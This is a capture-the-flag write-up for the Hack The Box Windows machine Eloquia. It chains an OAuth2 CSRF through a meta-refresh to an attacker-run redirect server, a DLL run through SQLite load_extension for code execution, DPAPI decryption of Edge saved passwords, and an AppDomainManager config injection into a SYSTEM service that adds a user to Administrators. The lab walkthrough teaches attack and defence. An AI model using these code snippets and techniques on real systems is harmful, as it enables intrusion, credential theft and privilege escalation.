Hack The Box - Eloquia
Eloquia — HTB Writeup (Windows, Insane)
Machine: Eloquia · #815 · Windows Server 2019 · Insane · 50 pts Released: 2025-12-13 (Season 9 weekly) · https://app.hackthebox.com/machines/eloquia
Overview
Eloquia is a long, surgical chain on Windows. There is no single "bug" — there are six or seven medium-difficulty steps stacked on each other:
- OAuth2 CSRF on a Django blog with a genuine-looking Google-parody OAuth
provider (
qooqle.htb). The authorization flow lacks thestateparameter, so an attacker can make the admin bot bind an attacker-controlled OAuth identity to the admin account. - Admin → RCE: the admin Django panel has a SQL Explorer with SQLite
load_extension()enabled, and an article banner field is an unvalidatedFileField. A raw PE DLL goes in as a "banner" andSELECT load_extension(...)runs it → RCE aseloquia\web. - Credential theft: the headless Edge browser (run as
web) has saved logins. We unwrap Edge's AES-GCM master key with DPAPI (asweb) and get Olivia.KAT's password →evil-winrm. - PrivEsc to SYSTEM: the Failure2Ban .NET service runs as SYSTEM. A
writable
Failure2Ban.exe.config+ a crafted AppDomainManager assembly + a scheduled auto-Restart-Servicehands us SYSTEM.
Every credential literal is redacted below.
Recon
A full port scan shows just two exposed services:
Only 80/tcp (IIS 10.0) and 5985/tcp (WinRM) are exposed.
nmap -sV -sC -p- --min-rate=2000 -T4 10.129.244.81
# 80/tcp Microsoft IIS httpd 10.0 -> 301 Location: http://eloquia.htb/
# 5985/tcp Microsoft-HTTPAPI/2.0 (WinRM)
The redirect gives the first hostname; the app's own OAuth links reveal the second:

echo "10.129.244.81 eloquia.htb qooqle.htb" | sudo tee -a /etc/hosts
| VHost | Role |
|---|---|
eloquia.htb |
Django blogging platform (Grappelli admin, SQLite db.sqlite3, AngularJS 1.8.2) behind IIS + ARR reverse proxy |
qooqle.htb |
mock Google OAuth2 provider (django-oauth-toolkit) |
Key endpoints found by browsing:
| Endpoint | Purpose |
|---|---|
| `/accounts/register | login/` |
/accounts/oauth2/qooqle/authorize/ |
start the OAuth flow |
/accounts/oauth2/qooqle/callback/ |
OAuth callback |
/article/report/<id>/ |
report an article — an admin bot then visits it |
/accounts/admin/ |
Django admin (admin only) |
/dev/sql-explorer/play/ |
Django SQL Explorer (admin only) |
The OAuth client is hard-coded: client_id=riQBUy…4zHIi and a fixed
redirect_uri back to Eloquia. The article comment section renders HTML with
$sce.trustAsHtml() inside an Angular 1.8.2 scope — a CSTI surface — but the
useful entry point this time is the callback rebinding behaviour.
Foothold — OAuth2 CSRF → admin
The flaw
The Eloquia → Qooqle OAuth flow never sends a state parameter. That is the
CSRF defence in OAuth2, and its absence means a cross-site request can alter the
account linkage. The decisive behaviour of /accounts/oauth2/qooqle/callback/:
| Scenario | Result |
|---|---|
| Logged-in browser + a code not bound to anyone | binds that Qooqle identity to the current Eloquia user |
| Not logged in + a code bound to someone | logs in as that Eloquia user |
So: if we make the admin's browser hit the callback with our Qooqle code,
Qooqle attack99 becomes a login alias for the admin user.
The admin bot as the browser
The "Report Article" button (/article/report/<id>/) puts the article in a
queue that a Selenium bot drains. The bot runs headless Chrome as the web
user, is logged into Eloquia as admin, and visits the reported article. We
already proved the report is recorded (it sets a Django messages cookie). We
also use an article body the author fully controls, but a plain
meta-refresh inside a <body> is not navigated by Chrome… unless we put
the redirect in the article and Chrome still needs it in the head.
Confirmed working on-box: an in-body
<meta http-equiv="refresh" content="0;url=http://ATTACKER:8888/link"> did
make the bot navigate (the bot's Chrome followed it). We simply pointed the
refresh at a redirect server of ours instead of a kill-chain page:
<meta http-equiv="refresh" content="0;url=http://10.10.14.10:8888/link">
There is a second, documented alt-path: the AngularJS CSTI payload (
ng-focus+autofocus) that stashesdocument.cookieinto a comment via the already-wiredsubmitForm(), because Eloquia'ssessionidhas noHttpOnly. Seeexploit/csti_cookie_thief.txt. The OAuth-CSRF bind below is the cleaner route and the one used here.
Firing the code with a fresh code
OAuth authorization codes expire in seconds. So our redirect server (:8888)
holds our own Qooqle session and, on /link, mints a fresh code server-side
and answers with a 302 back into the Eloquia callback:

# oauth_redirect_server.py — GET /link
data = { # our Qooqle session approves the authorization
'csrfmiddlewaretoken': csrf, 'redirect_uri': REDIRECT, 'scope': 'read write',
'response_type': 'code', 'client_id': CLIENT_ID, 'allow': 'Authorize', ...}
loc = s.post(authurl, data=data).headers['Location'] # -> ?code=XXXX
send_302(f"{REDIRECT_URI}?code={loc.split('code=',1)[1]}") # -> Eloquia callback
Timeline from the server log:
09:08:09 GET /link from 10.129.244.81 <- admin bot arrives
09:08:10 authorize POST -> 302 ?code=RWNkSlP…
09:08:10 redirecting to Eloquia callback code=…
The admin bot's browser (still logged in as admin) lands on the callback →
attack99 is bound to admin.
Result
Log in to Eloquia through Qooqle with our own account:
GET /accounts/oauth2/qooqle/authorize/ # approve as attack99 -> code
GET /accounts/oauth2/qooqle/callback/?code=<code>
curl -b session http://eloquia.htb/accounts/profile/
# name="username" value="admin" <- we are admin
Django admin and SQL Explorer are now reachable.
RCE as web — DLL via article banner + SQLite load_extension()
Uploading a DLL
Three upload paths exist; they behave differently:
| Path | Validation | Accepts a DLL? |
|---|---|---|
/accounts/upload_profile_image/ |
Pillow + custom "malicious behaviour" check | ❌ |
admin user image field |
Django ImageField (Pillow) + extension whitelist |
❌ |
| admin article banner field | plain FileField, no validation, filename kept |
✅ |
So upload a 64-bit PE DLL as an article's banner → it lands at
static/assets/images/blog/<name>.dll and IIS serves it back.
// rce_dll.c
__declspec(dllexport) int sqlite3_extension_init() { return 0; }
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) {
if (r == DLL_PROCESS_ATTACH)
system("cmd /c whoami > static\\assets\\images\\blog\\out.txt 2>&1");
return TRUE;
}
x86_64-w64-mingw32-gcc -shared -o evil.dll rce_dll.c -Wl,--subsystem,windows
Executing it in SQL Explorer
The SQL Explorer (/dev/sql-explorer/play/) runs an arbitrary SQLite query
against connection default with load_extension() enabled:

SELECT load_extension('static/assets/images/blog/evil.dll');
LoadLibrary runs DllMain before the entry point is ever checked, so any
DLL's constructor code executes. Then:
curl http://eloquia.htb/static/assets/images/blog/out.txt
# eloquia\web
RCE as eloquia\web.
Gotcha:
load_extensionloads a module once per process — a same-named DLL will not re-runDllMain. Use a fresh filename per command (uflag.dll,rl.exe…). Each new command uploads a new banner DLL.
user flag
A fresh uflag.dll reads the desktop flag:
system("cmd /c type C:\\Users\\web\\Desktop\\user.txt > static\\assets\\images\\blog\\uf.txt 2>&1");
curl http://eloquia.htb/static/assets/images/blog/uf.txt
# 2fa69…5fc6 -> loot/user.txt
Credential theft — Edge DPAPI → Olivia.KAT
Selenium runs Microsoft Edge under the web profile, so its saved logins
belong to web. We copy Login Data and Local State, but decryption needs
the DPAPI master key, which is only available to the owning account. So we run
a decrypting DLL as web.
Chromium "v10" password blob format:
[3 bytes "v10"] [12 bytes nonce/IV] [ciphertext + 16 bytes GCM tag]
The AES master key sits in Local State → os_crypt.encrypted_key (base64, the
"DPAPI" blob after the 5-byte DPAPI prefix), wrapped with the DPAPI user
key.

// edge_dpapi_key.c (runs as web via load_extension)
// 1. read Local State, find "encrypted_key":"BASE64"
// 2. base64-decode -> strip 5-byte "DPAPI" prefix
// 3. CryptUnprotectData() -> 32-byte AES key
// 4. hex-encode key to static\assets\images\blog\mk.txt
curl http://eloquia.htb/static/assets/images/blog/mk.txt
# c7f1ad7b079947b4bb1dc53b8740440651b6c9f5caf7fd9a18bbece57c7bd444
Now that the key is out, decrypt the blobs locally (AES-256-GCM):
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
# for each logins row: nonce=pw[3:15], tag=ct[-16:], aes.decrypt(nonce, ct, None)
| Origin URL | Username | Password |
|---|---|---|
http://eloquia.htb/accounts/login/ |
Olivia.KAT |
redacted → loot/credentials.md |
https://chatgpt.com/ |
olivia.kat |
redacted |
WinRM:
evil-winrm -i 10.129.244.81 -u 'Olivia.KAT' -p '<redacted>'
# *Evil-WinRM* PS C:\Users\Olivia.KAT\Documents>
Olivia.KAT is only in Remote Management Use + Users, i.e. a non-admin
WinRM user — exactly the intended pivot.
Privilege Escalation — AppDomainManager injection → SYSTEM
The writable service
Failure2Ban is a .NET service that runs as NT AUTHORITY\SYSTEM. From
the WinRM shell:
reg query HKLM\SYSTEM\CurrentControlSet\Services\Failure2Ban
# ImagePath C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\...
# ObjectName LocalSystem
icacls "...\Failure2Ban - Prototype\Failure2Ban\bin\Debug"
# ELOQUIA\Olivia.KAT:(I)(OI)(CI)(RX,W) <- we can write the whole folder
A scheduled task (Automation Scripts\FW-Cleaner.ps1) runs as SYSTEM and does,
every few minutes:
Restart-Service Failure2Ban
rm "...\bin\Debug\version.dll"
So the service is restarted automatically, which re-reads
Failure2Ban.exe.config. Because we can write into the folder — including that
config — we can inject a CLR AppDomainManager.
The AppDomainManager
A .NET AppDomainManager is instantiated by the CLR before Main() for the
process that owns the config, i.e. before any app code can stop it. No
strong-name is required when the assembly is local.
# (CLM-safe) write EvilManager.cs + config via Set-Content / certutil
& C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nologo /target:library \
/out:EvilManager3.dll EvilManager3.cs
Copy-Item NewConfig.config Failure2Ban.exe.config -Force # backup .bak first
// EvilManager.cs — runs as SYSTEM on next service start
public override void InitializeNewDomain(AppDomainSetup info) {
base.InitializeNewDomain(info);
// find root.txt, copy to the web-reachable static dir
string outPath = @"C:\Web\Eloquia\static\assets\images\blog\ROOTFLAG.txt";
// search C:\Users\Administrator\Desktop\root.txt (fallback recursive search)
if (found != null) File.Copy(found, outPath, true);
Process.Start("net.exe", "localgroup Administrators Olivia.KAT /add"); // backup
}
<!-- Failure2Ban.exe.config (appended <runtime>) -->
<configuration>
<runtime>
<appDomainManagerAssembly value="EvilManager3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"/>
<appDomainManagerType value="EvilDomainManager.EvilManager"/>
</runtime>
</configuration>

Wait for FW-Cleaner.ps1 to Restart-Service Failure2Ban (~a few minutes).
The new service process loads our AppDomainManager as SYSTEM, copies
root.txt into the web tree, and adds us to Administrators.
curl http://eloquia.htb/static/assets/images/blog/ROOTFLAG.txt
# 9ee53ecf9155bc944d384d8cd7a9b7ea -> loot/root.txt
Flags
🏁 user.txt: 2fa699459daa73fad357e2551f5a5fc6 (in loot/user.txt)
🏁 root.txt: 9ee53ecf9155bc944d384d8cd7a9b7ea (in loot/root.txt)
Modern Takeaways
- OAuth without
stateis a CSRF. The whole admin foothold came from one missing random token. Never ship an authorization flow without it (nonces/PKCE for confidential flows too). - A "QA/admin bot" is a browser with the highest-privilege session. It will navigate attacker-influenced content; treat every user-facing "report/review" surface as an attack against that bot.
- Unvalidated
FileFields are an upload bug. The same admin panel used Pillow-validation on one image field and no validation on the article banner — check every field individually. load_extensionis a function, not a keyword. SQL blacklists that blockINSERT/CREATEmiss a callable that runs native code. Same principle asVACUUM/PRAGMA/ stored-procedure abuse.- Edge/Chrome saved passwords are only as safe as DPAPI. If you can run
code as the owning user,
CryptUnprotectDatagives you the AES master key. .exe.configis code. A writable config beside a SYSTEM service that gets auto-restarted is an AppDomainManager injection — a low-friction alternative to binary hijacking when binary replacement is too slow/racy.
Files
exploit/oauth_redirect_server.py—/linkserver: mints fresh Qooqle auth codes on demand and 302s the victim into the Eloquia callback (the bot-bind).exploit/create_redirect_article.py— creates the article whose body is the<meta http-equiv=refresh>redirect to the server.exploit/csti_cookie_thief.txt— alternative AngularJS 1.8.2 CSTI payload.exploit/upload_dll_add.py,exploit/replace_banner_dll.py— push a DLL through the admin article banner field.exploit/rce_dll.c,exploit/edge_dpapi_key.c— DLLs (RCE + DPAPI key dump).exploit/EvilManager.cs,exploit/Failure2Ban.exe.config.appdomain— AppDomainManager systemd injection for SYSTEM.recon/— the full nmap outputs.loot/— flags + recovered credentials (gitignored).screenshots/0[1-6]-*.png— one screenshot per phase.content/— social drafts.